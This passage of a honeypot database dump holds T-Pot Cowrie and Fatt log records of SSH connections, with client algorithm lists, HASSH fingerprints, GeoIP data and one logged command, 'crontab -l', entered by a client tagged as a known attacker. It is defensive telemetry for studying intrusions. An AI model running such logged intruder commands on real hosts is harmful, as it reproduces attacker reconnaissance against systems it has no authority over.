"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39736, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.413376", "@timestamp": "2021-09-20T11:06:20.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22041	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.136711+03	2021-09-20 14:15:04.420613+03	{"_id": "egXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39736 (192.168.176.2:22) [session: ad36bfa95a36]", "session": "ad36bfa95a36", "@version": "1", "protocol": "ssh", "src_port": 39736, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.136711Z", "@timestamp": "2021-09-20T11:06:20.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22042	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:20.931201+03	2021-09-20 14:15:04.421613+03	{"_id": "eAXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:20.931201Z", "@timestamp": "2021-09-20T11:06:20.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22043	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:19.939433+03	2021-09-20 14:15:04.423612+03	{"_id": "fgXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34476, "timestamp": "2021-09-20T11:06:19.939433", "@timestamp": "2021-09-20T11:06:19.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22044	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:20.412935+03	2021-09-20 14:15:04.424614+03	{"_id": "fwXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39736, "timestamp": "2021-09-20T11:06:20.412935", "@timestamp": "2021-09-20T11:06:20.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22045	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:20.582017+03	2021-09-20 14:15:04.425613+03	{"_id": "gAXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41636, "timestamp": "2021-09-20T11:06:20.582017", "@timestamp": "2021-09-20T11:06:20.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22046	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:20.582198+03	2021-09-20 14:15:04.426612+03	{"_id": "gQXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41636, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.582198", "@timestamp": "2021-09-20T11:06:20.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22047	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:20.770541+03	2021-09-20 14:15:04.428613+03	{"_id": "ggXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48124, "timestamp": "2021-09-20T11:06:20.770541", "@timestamp": "2021-09-20T11:06:20.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22048	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.413617+03	2021-09-20 14:15:04.429614+03	{"_id": "gwXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ad36bfa95a36", "@version": "1", "timestamp": "2021-09-20T11:06:20.413617Z", "@timestamp": "2021-09-20T11:06:20.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22049	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.582855+03	2021-09-20 14:15:04.430612+03	{"_id": "hAXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5022bd2f354b", "@version": "1", "timestamp": "2021-09-20T11:06:20.582855Z", "@timestamp": "2021-09-20T11:06:20.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 